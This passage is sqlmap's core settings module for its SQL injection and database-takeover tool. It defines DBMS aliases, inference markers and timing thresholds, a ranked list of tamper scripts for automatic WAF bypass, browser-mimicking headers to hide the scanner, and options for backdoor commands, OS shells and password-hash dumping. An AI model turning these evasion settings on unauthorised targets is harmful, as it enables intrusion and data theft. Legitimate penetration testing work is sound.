#!/usr/bin/env python

"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""

import codecs
import os
import platform
import random
import re
import string
import sys
import time

from lib.core.enums import DBMS
from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.33"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "https://sqlmap.org"
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"

# colorful banner
BANNER = """\033[01;33m\
        ___
       __H__
 ___ ___[.]_____ ___ ___  \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   \033[0m\033[4;37m%s\033[0m\n
""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)

# Minimum distance of ratio from kb.matchRatio to result in True
DIFF_TOLERANCE = 0.05

# Ratio used in heuristic check for WAF/IPS protected targets
IPS_WAF_CHECK_RATIO = 0.5

# Timeout used in heuristic check for WAF/IPS protected targets
IPS_WAF_CHECK_TIMEOUT = 10

# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean
# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code
# false positive) rather than the back-end actually answering.
WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503)

# HTTP status signalling that the client is being rate-limited (kept as a literal because Python 2's
# httplib has no such constant)
TOO_MANY_REQUESTS_HTTP_CODE = 429

# Adaptive rate-limit handling: one-time backoff used when a rate-limited response carries no usable
# 'Retry-After', the additive step by which the inter-request delay is raised on each hit, and the
# ceiling for both the honored backoff and the auto-throttle (seconds)
RATE_LIMIT_DEFAULT_DELAY = 1.0
RATE_LIMIT_DELAY_STEP = 0.5
RATE_LIMIT_MAX_DELAY = 60.0

# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
WAF_BYPASS_TAMPERS = (
    "equaltolike",
    "between",
    "greatest",
    "charencode",
    "randomcase",
    "space2comment",
    "versionedkeywords",
    "space2hash",
)

# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
WAF_BYPASS_MAX_TRIALS = 8

# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
WAF_BYPASS_HTTP_HEADERS = (
    ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
    ("Accept-Language", "en-US,en;q=0.5"),
)

# Timeout used in checking for existence of live-cookies file
LIVE_COOKIES_TIMEOUT = 120

# Lower and upper values for match ratio in case of stable page
LOWER_RATIO_BOUND = 0.02
UPPER_RATIO_BOUND = 0.98

# Minimum similarity at which a boolean extraction response is judged to "resemble" the calibrated
# TRUE or FALSE model. A response resembling NEITHER (a transient same-HTTP-code junk page: WAF/CDN
# interstitial, captcha, maintenance, empty/truncated body) triggers an extra validateChar re-check.
BOOLEAN_MODEL_MATCH_RATIO = 0.9

# Number of candidate names probed per request while mining for hidden parameters ('--mine-params')
PARAMETER_MINING_BUCKET_SIZE = 25

# For filling in case of dumb push updates
DUMMY_JUNK = "Phah5jue"

# Markers for special cases when parameter values contain html encoded characters
PARAMETER_AMP_MARKER = "__PARAMETER_AMP__"
PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__"
BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__"
PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__"
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
URI_QUESTION_MARKER = "__URI_QUESTION__"
ASTERISK_MARKER = "__ASTERISK__"
REPLACEMENT_MARKER = "__REPLACEMENT__"
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__"
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__"
SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__"
SAFE_HEX_MARKER = "__SAFE_HEX__"
DOLLAR_MARKER = "__DOLLAR__"

RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]"
INFERENCE_MARKER = "[INFERENCE]"
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"

PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c"
PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"

# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)"

# Regular expression used for recognition of textual content-type
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"

# Regular expression used for recognition of generic permission messages
PERMISSION_DENIED_REGEX = r"\b(?P<result>(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))"

# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"

# Regular expression used to detect errors in fuzz(y) UNION test
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected"

# Upper threshold for starting the fuzz(y) UNION test
FUZZ_UNION_MAX_COLUMNS = 10

# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
FUZZ_UNION_MAX_REQUESTS = 80

# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"

# Maximum consecutive connection errors before asking the user if he wants to continue
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15

# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
PRECONNECT_CANDIDATE_TIMEOUT = 10

# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP")

# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes)
IDENTYWAF_PARSE_COUNT_LIMIT = 10

# Identify WAF/IPS inside limited size of responses
IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024

# Ceiling (seconds) for a simulated heavy-tailed latency spike in '--jitter' (testing) mode
MAX_JITTER_SPIKE_TIME = 6

# '--jitter=N' fault injection: ~1 in N requests is perturbed to stress the time-/boolean-based blind
# oracles' jitter defenses. Each fired event either adds realistic response LATENCY - Gaussian jitter
# spanning low->high network noise, or (JITTER_SPIKE_CHANCE of the time) a heavy-tailed spike - and lets
# the genuine request proceed, or short-circuits with a transient "junk" HTTP response (gateway 5xx,
# rate-limit, a same-HTTP-code interstitial/maintenance page, or an empty body). Values come from the
# offline jitter studies (tests/test_jitter_stress.py, tests/test_boolean_jitter.py).
JITTER_SIGMAS = (0.3, 0.5, 0.9)  # low / medium / high continuous jitter (seconds)
JITTER_SPIKE_CHANCE = 0.25       # portion of latency events replaced by a heavy-tailed spike
JITTER_JUNK_RESPONSES = (
    ("<html><h1>502 Bad Gateway</h1></html>", 502),
    ("<html><h1>503 Service Unavailable</h1></html>", 503),
    ("<html><h1>504 Gateway Time-out</h1></html>", 504),
    ('{"error": "too many requests"}', 429),
    ("<html><head><title>Just a moment...</title></head><body>Checking your browser before accessing.</body></html>", 200),
    ("<html><body>We'll be back shortly. Scheduled maintenance in progress.</body></html>", 200),
    ("", 200),
)

# Regular expression used for extracting results from Google search
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"

# Google Search consent cookie
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))

# Regular expression used for extracting results from DuckDuckGo search
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'

# Regular expression used for extracting results from Bing search
BING_REGEX = r'<h2><a href="([^"]+)" h='

# Dummy user agent for search (if default one returns different results)
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0"

# Regular expression used for extracting content from "textual" tags
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"

# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
# content is dynamic but whose layout is stable
STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""

# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike
# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread
# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when
# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it
# is a net slowdown, so it is gated by this size
NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024

# Coarse plausibility band for a NULL connection method's reported length, relative to the known
# original page length (len(kb.originalPage)). A method is accepted only if its length falls within
# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning
# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band
# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a
# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches
NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5
NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0

# Regular expression used for recognition of IP addresses
IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"

# Regular expression used for recognition of generic "your ip has been blocked" messages
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block\s?list|firewall)"

# Dumping characters used in GROUP_CONCAT MySQL technique
CONCAT_ROW_DELIMITER = ','
CONCAT_VALUE_DELIMITER = '|'

# Coefficient used for a time-based query delay checking (must be >= 7)
TIME_STDEV_COEFF = 7

# Robust (median/MAD) cutoff for discarding spike outliers from the time-response model before
# computing avg/stdev - a single network spike landing in the baseline would otherwise inflate the
# delay threshold and miss genuine delays. Deliberately wide (~10 robust sigmas) so a clean model is
# left untouched (identical threshold) and only true outliers are dropped.
TIME_OUTLIER_MAD_COEFF = 10

# Minimum response time that can be even considered as delayed (not a complete requirement)
MIN_VALID_DELAYED_RESPONSE = 0.5

# Standard deviation after which a warning message should be displayed about connection lags
WARN_TIME_STDEV = 0.5

# Minimum length of usable union injected response (quick defense against substr fields)
UNION_MIN_RESPONSE_CHARS = 10

# Coefficient used for a union-based number of columns checking (must be >= 7)
UNION_STDEV_COEFF = 7

# Length of queue for candidates for time delay adjustment
TIME_DELAY_CANDIDATES = 3

# Default value for HTTP Accept header
HTTP_ACCEPT_HEADER_VALUE = "*/*"

# Whether the interpreter can decode Zstandard responses (stdlib 'compression.zstd', Python 3.14+ / PEP 784)
try:
    import compression.zstd as _zstdModule
except ImportError:
    _zstdModule = None
HTTP_ZSTD_AVAILABLE = _zstdModule is not None

# Default value for HTTP Accept-Encoding header (browser-realistic; 'br' via the in-tree decoder, 'zstd'
# only when the stdlib provides it - never advertise a content-coding we cannot decode)
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate, br%s" % (", zstd" if HTTP_ZSTD_AVAILABLE else "")

# Default timeout for running commands over backdoor
BACKDOOR_RUN_CMD_TIMEOUT = 5

# Number of seconds to wait for thread finalization at program end
THREAD_FINALIZATION_TIMEOUT = 1

# Maximum number of techniques used in inject.py/getValue() per one value
MAX_TECHNIQUES_PER_VALUE = 2

# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier
ETA_DISPLAY_SMOOTHING = 0.5

# In case of missing piece of partial union dump, buffered array must be flushed after certain size
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024

# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
JSON_AGG_CHUNK_ROWS = 1000

# Maximum size of cache used in @cachedmethod decorator
MAX_CACHE_ITEMS = 1024

# Suffix used for naming meta databases in DBMS(es) without explicit database name
METADB_SUFFIX = "_masterdb"

# Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt)
PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3

# Minimum time response set needed for time-comparison based on standard deviation
MIN_TIME_RESPONSES = 30

# Maximum time response set used during time-comparison based on standard deviation
MAX_TIME_RESPONSES = 200

# Minimum comparison ratio set needed for searching valid union column number based on standard deviation
MIN_UNION_RESPONSES = 5

# After these number of blanks at the end inference should stop (just in case)
INFERENCE_BLANK_BREAK = 5

# Use this replacement character for cases when inference is not able to retrieve the proper character value
INFERENCE_UNKNOWN_CHAR = '?'

# Character used for operation "greater" in inference
INFERENCE_GREATER_CHAR = ">"

# Character used for operation "greater or equal" in inference
INFERENCE_GREATER_EQUALS_CHAR = ">="

# Character used for operation "equals" in inference
INFERENCE_EQUALS_CHAR = "="

# Character used for operation "not-equals" in inference
INFERENCE_NOT_EQUALS_CHAR = "!="

# String used for representation of unknown DBMS
UNKNOWN_DBMS = "Unknown"

# String used for representation of unknown DBMS version
UNKNOWN_DBMS_VERSION = "Unknown"

# Dynamicity boundary length used in dynamicity removal engine
DYNAMICITY_BOUNDARY_LENGTH = 20

# Dummy user prefix used in dictionary attack
DUMMY_USER_PREFIX = "__dummy__"

# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
DEFAULT_PAGE_ENCODING = "iso-8859-1"

try:
    codecs.lookup(DEFAULT_PAGE_ENCODING)
except LookupError:
    DEFAULT_PAGE_ENCODING = "utf8"

# Marker for program piped input
STDIN_PIPE_DASH = '-'

# URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1"

# Timeout used during initial websocket (pull) testing
WEBSOCKET_INITIAL_TIMEOUT = 3

# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
PLATFORM = os.name
PYVERSION = sys.version.split()[0]
IS_WIN = PLATFORM == "nt"
IS_PYPY = platform.python_implementation() == "PyPy"

# Check if running in terminal
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())

# DBMS system databases
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo")
PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
MCKOI_SYSTEM_DBS = ("",)
PRESTO_SYSTEM_DBS = ("information_schema",)
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system")
CUBRID_SYSTEM_DBS = ("DBA",)
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
EXTREMEDB_SYSTEM_DBS = ("",)
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
RAIMA_SYSTEM_DBS = ("",)
VIRTUOSO_SYSTEM_DBS = ("",)
SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE")

# Note: (<regular>) + (<forks>)
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb")
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8")
SQLITE_ALIASES = ("sqlite", "sqlite3")
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
H2_ALIASES = ("h2",) + ("ignite", "apache ignite")
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
MONETDB_ALIASES = ("monet", "monetdb",)
DERBY_ALIASES = ("derby", "apache derby",)
VERTICA_ALIASES = ("vertica",)
MCKOI_ALIASES = ("mckoi",)
PRESTO_ALIASES = ("presto",)
ALTIBASE_ALIASES = ("altibase",)
MIMERSQL_ALIASES = ("mimersql", "mimer")
CRATEDB_ALIASES = ("cratedb", "crate")
CUBRID_ALIASES = ("cubrid",)
CLICKHOUSE_ALIASES = ("clickhouse",)
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris")
EXTREMEDB_ALIASES = ("extremedb", "extreme")
FRONTBASE_ALIASES = ("frontbase",)
RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
SNOWFLAKE_ALIASES = ("snowflake",)
SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb")

DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))

SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES)
SUPPORTED_OS = ("linux", "windows")

DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES))

USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",)

# DBMSes with upper case identifiers
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA))

# Default schemas to use (when unable to enumerate)
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
VERTICA_DEFAULT_SCHEMA = "public"
MCKOI_DEFAULT_SCHEMA = "APP"
CACHE_DEFAULT_SCHEMA = "SQLUser"
SPANNER_DEFAULT_SCHEMA = "default"

# DBMSes where OFFSET mechanism starts from 1
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.CACHE))

# Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")

# Items displayed in basic help (-h) output
BASIC_HELP_ITEMS = (
    "url",
    "googleDork",
    "data",
    "cookie",
    "randomAgent",
    "proxy",
    "testParameter",
    "dbms",
    "level",
    "risk",
    "technique",
    "getAll",
    "getBanner",
    "getCurrentUser",
    "getCurrentDb",
    "getPasswordHashes",
    "getDbs",
    "getTables",
    "getColumns",
    "getSchema",
    "dumpTable",
    "dumpAll",
    "db",
    "tbl",
    "col",
    "osShell",
    "osPwn",
    "batch",
    "checkTor",
    "flushSession",
    "tor",
    "sqlmapShell",
    "wizard",
)

# Tags used for value replacements inside shell scripts
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"

# String representation for NULL value
NULL = "NULL"

# String representation for blank ('') value
BLANK = "<blank>"

# String representation for current database
CURRENT_DB = "CD"

# String representation for current user
CURRENT_USER = "CU"

# Name of SQLite file used for storing session data
SESSION_SQLITE_FILE = "session.sqlite"

# Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s'\"])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s'\"])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+")

# Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = (
    r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
    r"<b>[^<]{0,100}(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)",
    r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
    r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)(</b>)?:\s*(?P<result>[^<>]+)",
    r"(?P<result>[^\n>]{0,100}SQL Syntax[^\n<]+)",
    r"(?s)<li>Error Type:<br>(?P<result>.+?)</li>",
    r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
    r"Code: \d+. DB::Exception: (?P<result>[^<>\n]*)",
